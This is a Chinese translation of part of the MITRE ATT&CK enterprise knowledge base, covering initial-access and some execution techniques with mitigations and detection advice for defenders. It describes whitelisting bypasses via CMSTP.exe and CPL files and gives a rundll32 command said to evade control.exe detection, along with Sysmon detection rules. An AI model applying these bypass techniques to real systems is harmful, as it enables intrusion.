# ATT&CK 知识库（企业）中文版

# 目录

# 1.初始访问

## 1.1 路过式下载

编号：T1189

技术：初始访问

平台：Windows，Linux，macOS

所需权限：用户

数据源：网络抓包，网络设备日志，网络进程使用，Web 代理，网络入侵检测系统，SSL/TLS 检查

版本：1.0

网页木马攻陷指的是攻击者利用用户正常访问和浏览网站来获取系统访问权限。用户的 web 浏览器是这种技术的攻击目标。

存在多种向浏览器传递漏洞攻击代码的方法，包括：

- 注入某种形式恶意代码，例如 JavaScript、iFrames 和跨站脚本，来攻击合法网站。
- 利用合法广告提供商来支付和投放恶意广告。
- 利用内置的 web 应用接口插入某种对象来显示 web 内容（例如：论坛帖子、评论以及其他用户可控制的 web 内容）或在访问客户端上执行脚本。

攻击者通常利用特定群体（例如：政府、特殊行业或地区）访问的网站，锁定特定用户或基于共同兴趣锁定特定用户群组来实施攻击。这种针对性攻击被称为战略性 web 攻击或水坑攻击。已知好几个这种攻击的例子。

典型的网页木马攻陷过程如下：

步骤1. 用户访问某个带有攻击者控制内容的网站。
步骤2. 脚本自动执行。脚本通常搜索浏览器和插件版本来查看是否可能存在漏洞。
步骤3. 此过程可能需要用户启用脚本或活动网站组件并忽略警告对话框。
步骤4. 发现版本存在漏洞后，将漏洞攻击代码传递给浏览器。
步骤5. 如果漏洞攻击成功，在用户系统执行攻击者代码，除非有其他保护措施。
步骤6. 某些情况下，传递漏洞攻击代码前，攻击者需在初始扫描后第二次访问网站。

与利用面向公众的应用漏洞不同，此技术的重点是在用户访问网站时利用客户端端点上的软件。攻击者通常使用此技术访问内部网络上的系统，而不太可能是隔离区的外部系统。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 应用隔离和沙箱 | 可用浏览器沙箱来缓解漏洞攻击的一些影响，但可能会有沙箱逃逸。也可通过其他类型的虚拟化和应用微分区来缓解客户端漏洞攻击的影响。对于这些类型的系统，在实施中仍然可能存在其它漏洞利用和缺陷等风险。 |
| 漏洞利用防护 | 可用安全应用，比如 WDEG（Windows Defender Exploit Guard）和 EMET（Enhanced Mitigation Experience Toolkit），来查找漏洞攻击行为，从而缓解某些漏洞攻击行为的影响。也可通过控制流完整性检查来识别和阻止软件攻击。许多保护措施依赖于体系结构和目标应用二进制文件的兼容性。 |
| Web 内容限制 | 可用广告拦截器来立即阻止执行广告中携带的恶意代码。也可通过脚本拦截扩展来阻止执行漏洞攻击过程中常用的 JavaScript。 |
| 软件更新 | 确保更新所有的浏览器和插件，防止漏洞利用。请使用启用了安全特性的最新浏览器。 |

检测

防火墙和代理可用来查看 URL 中是否携带已知的错误域或参数。也可用来对网站及所求资源做信誉分析，例如分析域名的使用年数，注册人，是否在已知错误列表中，以及之前有多少其他用户已连接到该域。

网络入侵检测系统（有时带 SSL/TLS MITM 检查）可用来查找已知的恶意脚本（常被重用的脚本有侦察、堆喷射和浏览器识别脚本）、常见脚本混淆以及漏洞攻击代码。

检测合法网站的网页木马攻陷可能是困难的。还要在端点系统上查找能表明攻陷成功的行为，例如浏览器进程的异常行为，包括写入磁盘的可疑文件，通过进程插入来试图掩盖执行的证据，发现的证据，以及表明有其它工具传输到系统的异常网络流量。

# 1.2 面向公众应用的利用

编号：T1190

技术：初始访问

平台：Linux，Windows，macOS

数据源：网络抓包，web 日志，web 应用防火墙日志，应用日志

版本：1.1

面向公众应用的利用指的是攻击者利用面向 Internet 的计算机系统或程序的弱点，使用软件、数据或命令来造成意外行为。系统弱点可能是缺陷、故障或设计漏洞。这些应用通常是网站，但也可以包括数据库（如 SQL），标准服务（如 SMB 或 SSH），以及任何带有可通过 Internet 访问的开放套接字的应用（如 web 服务器和相关服务）。面向公众应用的利用可能包括防御逃逸目的的利用，具体取决于被利用的弱点。

OWASP（开放式 web 应用程序安全项目）前 10 名和 CWE（通用缺陷列表）前 25 名突出显示了网站和数据库最常见的 web 漏洞。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 应用隔离和沙箱 | 隔离应用来限制利用目标访问其他进程和系统功能。 |
| 漏洞利用防护 | 使用 web 应用防火墙来限制应用暴露，从而防止应用漏洞攻击。 |
| 网络分区 | 将对外服务器和服务与网络上其余部分分开，把对外服务器和服务部署在 DMZ 或使用单独的托管基础架构。 |
| 特权账号管理 | 赋予服务账号最小权限，限制被利用进程从系统其余部分获得权限。 |
| 软件更新 | 定期扫描对外系统是否存在漏洞并确立系统快速修复步骤，以便扫描和公开披露过程中发现关键漏洞时快速打补丁。 |
| 漏洞扫描 | 定期扫描对外系统是否存在漏洞并确立系统快速修复步骤，以便扫描和公开披露过程中发现关键漏洞时快速打补丁。 |

检测

通过应用日志监控来查看日志中是否有漏洞攻击企图或攻击成功的异常迹象。通过深度数据包检查来查看常见漏洞攻击相关行为，例如 SQL 注入。Web 应用防火墙可以检测到与漏洞攻击企图的不恰当输入。

# 1.3 外部远程服务

编号：T1133

技术：持久化，初始访问

平台：Windows

所需权限：用户

数据源：认证日志

贡献者：Daniel Oakley，Travis Smith，Tripwire

版本：2.0

VPN、Citrix 等远程服务以及其它访问机制允许用户从外部访问企业内部网络资源。通常有远程服务网关来管理这些服务连接和凭据认证。Windows 远程管理等服务也可以在外部使用。

攻击者可能会通过远程服务来初始访问网络和/或在网络中停留。通常，用户须使用有效账号才能访问服务。攻击者可能会通过凭据欺骗或入侵企业网络从用户侧获取凭据的方式来获得有效账号权限。在操作期间，对远程服务的访问可用作冗余访问的一部分。

缓解

| **缓解措施** | **说明** |
| --- | --- |
| 特性/程序禁用或移除 | 禁用或阻止可能不必要的远程可用服务。 |
| 网络资源访问限制 | 通过集中管理的集中器（如 VPN 和其他托管远程访问系统）来限制远程服务访问。 |
| 多因子认证 | 对远程服务账号使用双因子或多因子强认证，从而降低攻击者使用盗取凭据的能力。但请注意双因子认证实施中有时可能会有双因子认证拦截技术。 |
| 网络分区 | 通过网络代理、网关和防火墙拒绝直接远程访问内部系统。 |

检测

根据最佳实践检测攻击者使用有效账号来应对远程服务身份认证的行为。收集认证日志并分析异常访问模式，活动窗口以及正常工作时间之外的访问。

# 1.4 硬件添加

编号: T1200

技术：初始访问

平台：Windows, Linux, macOS

数据源：资产管理，数据泄漏防护

版本： 1.0

计算机配件、计算机或网络硬件可能被用作载体接入系统从而获得执行权限。虽然少有公开报道提及 APT 组织利用这些技术，但是有很多渗透测试人员通过硬件添加的方法来实现初始访问。

商业和开源产品都有可能被利用来完成诸如：被动网络分流，中间人加密破解，击键注入攻击，通过直接内存访问（DMA）读取内核内存，给既有网络添加无线访问等攻击方式。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 对网络访问资源加以限制 | 设立网络访问控制策略，如使用设备证书、802.1x 标准等。限制注册设备使用 DHCP 从而避免未知设备与受信任系统通信。 |
| 限制硬件安装 | 使用终端安全策略配置和终端监控 Agent 阻拦未知设备和配件 |

检测

资产管理系统可以用来帮助发现本不应该接入的计算机或者网络设备。

终端探针可以用来检测通过 USB、蓝牙以及其他外设接口新增的硬件。

# 1.5 通过移动存储进行复制

编号: T1091

技术： 横向移动，初始访问

平台： Windows

系统要求： 允许移动存储设备，启用自动执行或者存在允许代码执行的漏洞

所需权限：用户

数据源：文件监控，数据泄漏防护

版本： 1.0

攻击者可以通过拷贝恶意软件到移动存储介质然后插入到系统上并利用 autorun 功能获得执行权限，从而进入到系统（可能是没有接入到网络的系统）。在横向移动的情况下，可能会通过篡改移动存储介质上的可执行文件或者拷贝恶意文件并重命名为看似合法的文件从而欺骗使用者在隔离的系统上执行。在初始访问的情况下，可能会使用手工操作移动存储介质，或者篡改移动存储介质格式化系统，或者修改固件等方法来实现。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 禁用或删除相关功能或程序 | 非必要情况下，禁止启用 Autorun 功能。非业务需要的情况下，在组织规章层面限制或者禁止使用移动存储介质。 |
| 限制硬件设备安装 | 在特定网络内限制使用 USB 设备以及移动存储介质。 |

### 检测

监控移动存储介质上的文件访问。检测移动设备插入后从移动设备上执行启动的进程。在这种情况下如果使用远程访问工具来横向移动，那么会发生一系列后续动作，如打开连接到 C2（命令与控制）的网络连接，或者嗅探系统和网络。

## 1.6 鱼叉式钓鱼攻击附件

编号: T1193

技术： 初始访问

平台： Windows, macOS, Linux

数据源： 文件监控，网络抓包，网络入侵检测系统，沙箱，邮件网关，邮件服务器

CAPE 编号: CAPEC-163

版本： 1.0

鱼叉式钓鱼附件是网络钓鱼的一个特定方式。区别于其他鱼叉钓鱼攻击，它使用电子邮件附带恶意软件附件的方法。所有的鱼叉钓鱼攻击都是针对一个具体的个人、公司或者行业的数字化社会工程学攻击手法。攻击者通常将文件附加到鱼叉式网络钓鱼电子邮件，依靠用户主动执行来获得执行权限。

附件可能有多种文件类型如微软 Office 系列文件，可执行文件，PDF 文件或者压缩文件。用户打开附件（甚至点击通过了安全确认）后，攻击负载会利用系统漏洞执行或者直接在系统上执行。通常邮件内容会捏造一些合理的理由诱使用户打开附件，甚至告诉用户如何绕过系统的安全保护限制来打开附件。邮件可能还会告诉用户如何解密附件（比如提供 zip 文件的密码）从而逃避邮件防护类产品的扫描。攻击者常常会用修改文件后缀名，文件图标等方式使可执行的附件看起来像是文档类文件，或者让利用某种应用程序漏洞的附件看起来像是其他应用程序的文件格式。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 杀毒程序 | 杀毒程序可以自动隔离可疑文件 |
| 网络入侵防护（IPS） | IPS 或者其他用来扫描并移除有害附件的系统都可以用来阻拦此类攻击行为。 |
| 限制附件类型 | 将默认阻拦不应该由邮件发送的未知或者未使用的附件类型（如.scr, .exe, .pif, .cpl 等文件）作为最佳实践。某些邮件扫描设备可以打开并分析压缩、加密文件格式，如 zip、rar 等常常被用来藏匿恶意文件的文件格式。 |
| 用户培训 | 培训用户如何识别社会工程学技巧和如何识别钓鱼邮件。 |

### 检测

入侵防御系统（IPS）和邮件网关可以用来检测传输中的带恶意附件的钓鱼邮件。沙箱可以用来识别恶意附件。相关的检测方法可以是基于特征码检测也可以是基于行为检测，但是攻击者也会试图构造特别的附件来逃避这些检测方法。

当邮件存储在邮件服务器上或者用户计算机上时，杀毒软件可以用来检测恶意文件或附件。终端探针或者网络探针也可以用来检测附件被打开后的恶意行为（比如 Word 或者 PDF 文件被打开后创建了 Powershell 进程或者连接了互联网），相关的攻击技术有“客户端执行利用”和“脚本编程”。

## 1.7 鱼叉式钓鱼攻击链接

编号：T1192

技术：初始访问

平台：Windows，macOS，Linux

数据源：网络抓包，web 代理，邮件网关，沙箱，SSL/TLS 检查，DNS 记录，邮件服务器

CAPEC 编号：CAPEC-163

版本：1.0

带链接的鱼叉式钓鱼攻击是一种特殊变种。它与其他形式的鱼叉式钓鱼攻击不同之处在于它在邮件中提供链接来下载恶意软件，而不是以附件形式将恶意文件附加到邮件中。这样可以躲开邮件附件检查。

所有形式的鱼叉式钓鱼攻击都是以电子方式传递的社会工程，针对特定个人、公司或行业。本节所描述的是带链接的鱼叉式钓鱼攻击，也就是在邮件里携带恶意链接。通常，链接将伴随社会工程文本，并需要用户主动点击或将 URL 复制粘贴到浏览器中，也就是利用用户执行。访问的网站可能会利用漏洞来破坏 web 浏览器，或者提示用户下载应用、文档、zip 文件，甚至可执行文件（具体取决于一开始是以什么理由发送的这封邮件）。攻击者还可能会在邮件中添加链接来直接与邮件阅读器交互，比如嵌入图像（网络漏洞/网络信标）来直接利用终端系统或验证邮件接收。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| Web 内容限制 | 确定某些可用于鱼叉式钓鱼攻击的网站是否是业务运营所必需的。如果无法有效监控活动或是存在重大风险，请考虑阻止访问这些网站。 |
| 用户培训 | 对用户培训，使其有能力识别带恶意链接的社会工程技术和钓鱼邮件。 |

### 检测

可对电子邮件执行 URL 检查（包括扩展缩短的链接）来发现导向已知恶意站点的链接。可用沙箱来检测这些链接，并自动转到这些站点以确定它们是否存在恶意。若用户访问链接，沙箱会等待并捕获内容。

此技术通常涉及端点上的用户交互。一旦用户执行交互动作，就会针对鱼叉式钓鱼攻击链接进行合理的检测。

## 1.8 通过服务进行鱼叉式钓鱼攻击

编号: T1194

技术： 初始访问

平台： Windows, macOS, Linux

数据源： SSL/TLS 检测，杀毒软件，Web 代理

CAPEC 编号: CAPEC-163

版本： 1.0

通过服务进行鱼叉钓鱼攻击是网络钓鱼的一个特定方式。区别于其他鱼叉钓鱼攻击，它不使用企业邮件系统，而是使用第三方服务来实现攻击。

所有的鱼叉钓鱼攻击都是针对一个具体的个人、公司或者行业的数字化社会工程学攻击手法。在这种情况下，攻击者通过社交媒体，私人邮箱或者其他的不受企业管控的服务来发送信息。与企业相比，这些服务往往都没有严格的安全策略和保护。和大多数的鱼叉钓鱼攻击一样，这种攻击手法的目标也是和目标建立某种关系或者以某种方式引起目标的兴趣。攻击者会创建虚假的社交账号并给员工发送诸如工作机会的消息，通过这样的方式来创造合理的理由询问企业环境中运行的软件，服务与安全策略等信息。攻击者还可以通过这些第三方服务发送恶意链接或者附件给用户。

一个常见的例子是通过社交媒体与攻击目标建立良好的关系，然后将某些攻击负载发送给私人 web 邮箱，然后使目标用户在他的工作计算机上打开。这样可以让攻击者绕开攻击目标的邮件安全保护限制，并且目标用户也更愿意打开这些攻击负载文件，因为这已经是他们期望收到的邮件。哪怕攻击负载没有有效的执行或工作，攻击者还可以持续的和攻击目标用户沟通来定位问题所在直到最终成功。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 杀毒程序 | 杀毒程序可以自动隔离可疑文件 |
| 限制 Web 内容访问 | 确定某些社交媒体网站，私人 web 邮箱或者其他的可能被用于鱼叉式钓鱼攻击的服务是否是工作必须。如果这些服务上的活动无法有效监控或者存在重大风险，请考虑阻止相关的服务访问。 |

| | |
|---|---|
| 用户培训 | 培训用户如何识别社会工程学技巧和如何识别带恶意链接的钓鱼邮件。 |

检测

因为大多数被用于鱼叉式钓鱼攻击的服务都启用了 TLS 加密，因此需要检查 SSL/TLS 的初始通信连接。SSL/TLS 入侵检测签名或者其他的安全网关设备可以用来检测恶意软件。

当文件被下载并保存到用户的计算机上时，杀毒软件可以用来检测恶意文件。终端探针或者网络探针也可以用来检测文件被打开后的恶意行为（比如 Word 或者 PDF 文件被打开后创建了 Powershell 进程或者连接了互联网），相关的攻击技术有“客户端执行利用”和“脚本编程”。

# 1.9 供应链威胁

编号: T1195

技术： 初始访问

平台： Linux, Windows, macOS

数据源： Web 代理，文件监控

CAPEC 编号： CAPEC-437, CAPEC-438, CAPEC-439

贡献者: Veeral Patel

版本： 1.1

供应链威胁是在用户得到交付物之前，通过篡改产品或者产品交付机制从而威胁到数据或者系统。

供应链威胁可以在供应链的任何阶段发生，比如：

- 篡改开发工具
- 篡改开发环境
- 篡改代码仓库（公开或私有的）
- 篡改依赖的开源代码
- 篡改软件的更新/分发机制
- 感染系统镜像（已经有多起可移动介质在工厂中即被感染的案例）
- 用修改过的版本替换合法软件
- 向合法的软件分销商销售篡改/假冒的产品
- 装运过程中拦截

虽然供应链威胁可以影响到硬件或者软件的任意组成部分，但是希望获得执行权限的攻击者通常专注于在软件分发或者更新渠道给合法软件添加恶意负载。目标可能是一个特定的受害

者集体，或者恶意软件可能广泛的传播给了大众但是只针对特定受害者采取进一步的动作。被广泛采用的开源软件项目也可能被攻击者利用，成为向受害目标添加恶意代码的方法。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 软件更新 | 需要执行一个补丁管理流程来检查未使用的依赖项，未维护或者已经存在漏洞的依赖项，不必要的功能、组件、文件和文档。 |
| 漏洞扫描 | 持续监控漏洞披露来源，并使用自动或手动的代码审查工具。 |

检测

通过哈希校验或者其他的完整性检查机制来验证获得的二进制文件。使用恶意软件特征库扫描下载的文件，并在正式部署前尝试测试软件或者更新，记录所有潜在的可疑行为。对硬件做物理检查以查找可能的篡改。

## 1.10 可信关系

编号：T1199

技术：初始访问

平台：Linux，Windows，macOS

数据源：应用日志，认证日志，第三方应用日志

版本：1.0

攻击者可能会破坏或利用能够接触到目标受害者的组织。通过受信任的第三方关系进行访问利用了现有连接，该连接可能不受保护或者比标准的网络访问机制受到的审查更少。

组织通常授予第二方或第三方外部提供商更高的访问权限以便他们管理内部系统。例如：IT服务承包商、托管安全提供商、基础设施承包商（如暖通空调、电梯、物理安全）。第三方提供商的访问可能仅限于维护中的基础设施，但可能与企业其他部分在同一网络上。所以，攻击者可能会攻击并使用内部网络系统的有效访问账号。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络分区 | 可通过网络分区来隔离不需要广泛网络访问的基础设施组件。 |
| 用户账号控制 | 正确管理信任关系中各方使用的账号和权限，最大限度地减少各方的滥用行为，即便是遭受了攻击。 |

检测

监控第二方和第三方提供商以及其他可作为网络访问手段的受信任实体的活动。根据信任关系的类型，攻击者在执行操作之前可能会访问目标相关的大量信息，尤其是在信任关系基于 IT 服务的情况下。攻击者可能能够快速实现目标。因此，适当监控凭凭据访问、横向移动以及收集相关的行为对于入侵检测非常重要。

# 1.11 有效账号

编号：T1078

技术：防御逃逸，持久化，权限升级，初始访问

平台：Linux，macOS，Windows

所需权限：用户，管理员

有效权限：用户，管理员

数据源：认证日志，进程监控

绕过的防御：防火墙，主机入侵防御系统，网络入侵检测系统，进程白名单，系统访问控制，防病毒

CAPEC 编号：CAPEC-560

贡献者：Mark Wee，Praetorian

版本：1.1

攻击者可能会使用凭据访问技术窃取特定用户或服务账号的凭据，或者在侦察过程的早期通过社会工程捕获凭据以获得首次访问权限。

攻击者可以使用三种账号：默认账号、本地账号和域账号。默认账号是操作系统的内置账号，例如 Windows 系统上的访客或管理员账号，或者其他类型系统、软件或设备上的默认工厂/提供商账号。本地账号是组织配置给用户、远程支持或服务的账号，或单个系统/服务的管理账号。域账号是 AD-DS（活动目录域服务）管理的账号，其访问和权限在域内不同系统和服务之间配置。域账号可以涵盖用户、管理员和服务。

攻击者可以使用窃取的凭据绕过网络内系统上各种资源的访问控制，甚至可用于对远程系统和外部可用服务（如 VPN、Outlook Web Access 和远程桌面）的持久访问。攻击者还可能通过窃取的凭据获得特定系统的更多权限或网络受限区域的访问权限。攻击者可以选择不将恶意软件或工具与这些凭据提供的合法访问结合使用，这样就更难检测到它们的存在。

默认账号并不限于客户端机器上的访客和管理员，它们还包括为设备（如网络设备和计算机应用）预设的账号，无论这些设备是内部的、开源的还是 COTS。如果设备预设了用户名和密码组合而且安装后不更改，将会对组织构成严重威胁，因为它们很容易成为攻击者的目标。同理，攻击者也可能会利用公开披露的私钥或盗取的私钥通过远程服务合法地连接到远程环境。

我们需要关注跨系统网络的账号访问、凭据和权限的重叠，因为攻击者也许能够跨账号和系统切换以获得较高的访问级别（域或企业管理员），从而绕过企业内设置的访问控制。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 密码策略 | 应用及设备的默认用户名和密码应在安装后和部署到生产环境之前立即更改。如果可能，应该定期更新使用 SSH 密钥的应用，并对其进行适当的保护。确保本地管理员账号在网络上所有系统中有复杂且唯一的密码。 |
| 特权账号管理 | 定期审核域账号和本地账号及他们的权限级别，查看是否有允许攻击者通过获取特权账号凭据从而获得广泛访问权限的情况。这些审核还应包括是否启用了默认账号，或者是否创建了新的未经授权的本地账号。不要将用户或管理域账号放在不同系统的本地管理员组中，除非它们受到严格控制并且是分开使用的，因为这通常相当于这些系统上都有一个相同密码的本地管理员账号。遵循企业网络设计和管理最佳实践，限制跨管理层使用特权账号。限制跨系统的凭据重叠以防止攻击者获取账号凭据用来访问。 |

检测

在整个企业中为外部可访问的服务配置可靠、一致的账号活动审核策略。查看是否有跨系统的可疑的共享账号（用户、管理员或服务账号）行为。例如：一个账号同时登录到多个系统；多个账号同时登录到同一台机器；在反常时间或工作时间以外登录的账号。账号活动可能来自交互式登录会话，也可能来自在远程系统上执行二进制文件的特定帐户的进程。将其他安全系统与登录信息关联（例如，用户有活动的登录会话，但尚未进入建筑物或没有访问 VPN）。

定期审核域账号和本地系统账号来查看是否有攻击者为持久性所创建的账号。账号审核还可以包括检查是否激活了默认账号（如访客）。审核还应包括检查所有设备和应用的默认凭据或 SSH 密钥。一旦发现，应立即更新。

# 2.执行

## 2.1 AppScript

编号: T1155

技术： 执行，横向移动

平台： macOS

所需权限： 普通用户

数据源： API 监控，系统调用，进程监控，进程命令行参数

支持远程: 是

版本： 1.0

MacOS 和 OS X 的应用程序在进程间通信时相互发送 Apple 事件消息，用 AppScript 实现的脚本可以很容易的为本地或远程 IPC 而发送此类消息。Osascript 可以执行 AppScript 或其它符合开放脚本架构(OSA)语言的脚本。通过 osalang 程序可以获取系统安装的 OSA 语言列表。Apple 事件消息可被作为此类脚本的一部分发送，也可被独立发送。此类事件消息可用于定位打开的窗口，触发按键，并以本地或远程的方式和任何运行中的应用程序交互。

恶意程序使用该机制可以利用已打开的 ssh 连接，横向移动到其它机器，甚至给用户展示一个伪造的对话框。此类事件不能启动位于其它机器的应用程序（虽然它可以启动本地程序），但是它们可以和远程已在运行的程序交互。由于是脚本语言，它可以被利用来触发其它更常见的技术：如通过 python 的反弹 shell。通过命令行执行 osa 脚本： `osascript /path/to/script` 或者 `osascript -e "script here"`.可以启动一个脚本运行。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 代码签名 | 要求所有的 AppleScript 在执行前都被可信的开发者 ID 签名，这可以阻止无签名的 AppleScript 执行。此举措和 Gatekeeper 审查.app 文件的目的类似。 |

检测

监控系统中其它疑似行为的机制可用于监控通过 osascript 执行 AppleScript。

# 2.2 CMSTP

编号：T1191

技术：防御逃逸，执行

平台：Windows

所需权限：用户

数据源：进程监控，进程命令行参数，网络进程使用，Windows 事件日志

是否支持远程：否

绕过的防御：应用白名单，防病毒

贡献者：Ye Yint Min Thu Htut，Offensive Security Team，DBS Bank；Nik Seetharaman，Palantir

版本：1.0

微软的命令行程序 CMSTP.exe 用于安装连接管理器服务配置文件。CMSTP.exe 将收到的安装信息文件（INF）作为参数，安装用于远程访问连接的服务配置文件。

攻击者可能会向 CMSTP.exe 提供带恶意命令的 INF 文件。与 Regsvr32/ "Squiblydoo"类似，CMSTP.exe 可能被滥用来从远程服务器加载和执行动态链接库和/或 COM 脚本小程序。攻击者还可能用 CMSTP.exe 来绕过 AppLocker 及其他白名单防御，因为 CMSTP.exe 本身是一个合法的、已签名的微软应用。

CMSTP.exe 也可能被滥用来绕过用户账号控制并通过自动升级的 COM 接口执行 INF 文件中的任意恶意命令。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特性/程序禁用或移除 | 在给定环境中可能不需要 CMSTP.exe（除非用其安装 VPN 连接）。 |
| 执行预防 | 如果给定的系统或网络不需要 CMSTP.exe，考虑使用应用白名单来防止攻击者滥用它。 |

检测

通过进程监控来检测和分析 CMSTP.exe 的执行和参数。将 CMSTP.exe 的最近调用与已知恰当参数及已加载文件的历史记录进行比较来查看是否有异常和潜藏的攻击活动。

可通过 Sysmon 事件来查看是否有 CMSTP.exe 的滥用情况。检测策略可能取决于具体的攻击程序。规则如下：

- 检测本地/远程有效负载的加载和执行—事件 1（进程创建）和/或事件 3（网络连接）。事件 1 中，ParentImage 包含 CMSTP.exe；事件 3 中，Image 包含 CMSTP.exe，DestinationIP 是外部的。

- 通过自动升级的 COM 接口检测用户账号控制绕过行为—事件 10（ProcessAccess）和/或事件 12 或 13（RegistryEvent）。事件 10 中，CallTrace 包含 CMLUA.dll。事件 12 或 13 中，TargetObject 包含 CMMGR32.exe。另外还监控事件，例如进程创建事件（Sysmon 事件 1），此事件涉及自动升级的 CMSTP COM 接口，如 CMSTPLUA（3E5FC7F9-9A51-4367-9063-A120244FBEC7 ） 和 CMLUAUTIL （ 3E000D72-A845-4CD9-BD83-80C07C3B881F）。

# 2.3 命令行界面

编号：T1059

技术：执行

平台：Linux，macOS，Windows

所需权限：用户，管理员，系统

数据源：进程监控，进程命令行参数

是否支持远程：否

版本：1.0

命令行界面是与计算机系统交互的一种方式，并且是很多操作系统平台的常见特性。例如，Windows 系统上的命令行界面 cmd 可用于执行许多任务，包括执行其他软件。命令行界面可在本地交互或者通过远程桌面应用、反向 shell 会话等远程交互。执行的命令以命令行界面进程的当前权限级别运行，除非该命令需要调用进程来更改权限上下文（例如，定时任务）。

攻击者可能会使用命令行界面与系统交互并在操作过程中执行其他软件。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 在适当的情况下，使用应用白名单工具（如 Windows Defender Application Control，AppLocker 或软件限制策略）来审核和/或阻止不必要的命令行解释程序。 |

检测

可以适当记录进程执行日志信息（包括命令行参数信息）来捕获命令行界面活动。这些信息可能有助于获取攻击者活动相关的其它信息，了解攻击者如何使用进程或自定义工具。

# 2.4 HTML 编译文件

编号: T1223

| |
|---|
| 技术： 防御逃逸，执行 |
| 平台： Windows |
| 所需权限： 用户 |
| 数据源： 文件监控，进程监控，进程命令行参数 |
| 支持远程：否 |
| 绕过的防护：应用白名单，数字证书验证 |
| 贡献者： Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International |
| 版本： 1.1 |

编译过的 HTML 文件(.chm)通常作为微软帮助文档分发。CHM 文件通常压缩编译了多种文件，如 HTML 文档、图片以及程序脚本如 VBA、JScript、Java、ActiveX。CHM 的内容通过 HTML 帮助程序(hh.exe)[3]调用 IE 浏览器的底层组件显示。

恶意程序可以利用这一技术隐藏恶意代码。一个嵌有 payload 的私有 CHM 文件被受害者接收并被执行触发。CHM 执行在一些老的和未打补丁包的系统上可能绕过应用白名单机制，因为这些系统未将通过 hh.exe 加载执行的应用程序加入应用白名单的审计。

缓解

| 缓解措施 | 说明 |
|---|---|
| 禁止执行 | 考虑在某些系统或网络在非必要情况下通过应用白名单禁止 hh.exe 的执行以杜绝潜在的被恶意程序利用的风险。 |
| 限制来自网络的内容 | 考虑禁止下载/传输以及执行一些不常见的文件类型如 CHM，此类文件已知会被一些恶意程序利用 |

检测

监控并分析 hh.exe 的执行以及它的参数。将近期的调用和历史的合法参数做对比以发现异常的和潜在恶意的动作（如：混淆的以及恶意的命令）。非标准的进程调用树也意味着有嫌疑的和恶意的行为，比如 hh.exe 是某些恶意进程的父进程，或是一些行为是已知的恶意行为。监控 CHM 文件的状态及使用情况，特别是当它们不是环境中的常见文件时尤其当心。

# 2.5 控制面板项目

| |
|---|
| 编号：T1196 |
| 技术：防御逃逸，执行 |
| 平台：Windows |
| 所需权限：用户，管理员，系统 |

| |
|---|
| 数据源：API 监控，二进制文件元数据，动态链接库监控，Windows 注册表，Windows 事件日志，进程命令行参数，进程监控<br>是否支持远程：否<br>绕过的防御：应用白名单，进程白名单<br>版本：1.0 |

Windows 控制面板项目允许用户查看和调整计算机设置。控制面板项目是已注册的可执行（.exe）或控制面板（.cpl）文件，后者实际上是重命名的动态链接库（.dll）文件，用于导出 CPlApplet 函数。控制面板项目可以直接从命令行执行，通过调用 API（应用程序编程接口）以编程方式执行，或者只需双击文件即可执行。

为了便于使用，控制面板项目通常包括已注册和加载到控制面板、用户可用的图形菜单。

攻击者可以将控制面板项目用作有效负载来执行任意命令。他们可以通过鱼叉式钓鱼攻击附件提供恶意控制面板项目，也可以将它们作为多级恶意软件的一部分执行。控制面板项目，尤其是 CPL 文件，也可能绕过应用和/或文件扩展名白名单。

## 缓解

| 缓解措施 | 说明 |
|---|---|
| 执行预防 | 在适当的情况下，使用应用白名单工具（如 Windows Defender Application Control，AppLocker 或软件限制策略）来识别并阻止可能的恶意及未知.cpl 文件。 |
| 文件和目录权限限制 | 将控制面板项目的存储和执行限定给受保护的目录，例如 `C:\Windows`，而不是用户目录。 |

## 检测

监控和分析 CPL 文件相关项目的活动，例如 Windows 控制面板进程二进制文件（control.exe）以及 shell32.dll 中的 Control_RunDLL 和 ControlRunDLLAsUser API 函数。当从命令行执行或单击时，control.exe 将在 Rundll32 调用 CPL 的 API 函数（例如，`rundll32.exe shell32.dll,Control_RunDLL file.cpl`）之前执行 CPL 文件（例如，`control.exe file.cpl`）。可以通过 CPL API 函数直接执行 CPL 文件，只需使用后一个 Rundll32 命令，该命令可以绕过对 control.exe 的检测和/或执行过滤。

创建控制面板项目清单，用于定位系统上未注册和可能的恶意文件：

- 可执行格式、已注册的控制面板项目在 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace` 和 `HKEY_CLASSES_ROOT\CLSID{{GUID}}`中有 GUID（全局唯一标识符）和注册表项。这些注册表项可能包含控制面板项目信息，例如其显示名称，本地文件路径以及在控制面板中打开时执行的命令。
- 控制面板自动显示存储在 System32 目录中的 CPL 格式、已注册的控制面板项目。其他控制面板项目在

`HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel` 的 `Cpls` 和 `Extended Properties` 注册表项中有注册条目。这些条目可能包括 GUID，本地文件路径以及规范名称等信息。规范名称用于以编程方式（`WinExec("c:\windows\system32\control.exe {{Canonical_Name}}", SW_NORMAL);`）或命令行方式（`control.exe /name {{Canonical_Name}}`）启动文件。

- 某些控制面板项目可通过 `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder{{name}}\Shellex\PropertySheetHandlers` 中注册的 Shell 扩展进行扩展，其中{{name}}是系统项的预定义名称。

分析新的控制面板项目以及磁盘上的恶意内容相关项目。可执行和 CPL 格式都是兼容的 PE（可移植可执行）图像，可以使用传统工具和方法进行检查，待定的反逆向工程技术。

# 2.6 动态数据交换

编号: T1173

技术： 执行

平台： Windows

所需权限： 普通用户

数据源： API 监控, DLL 监控, 进程监控, Windows 注册表, Windows 事件日志

支持远程：否

版本： 1.1

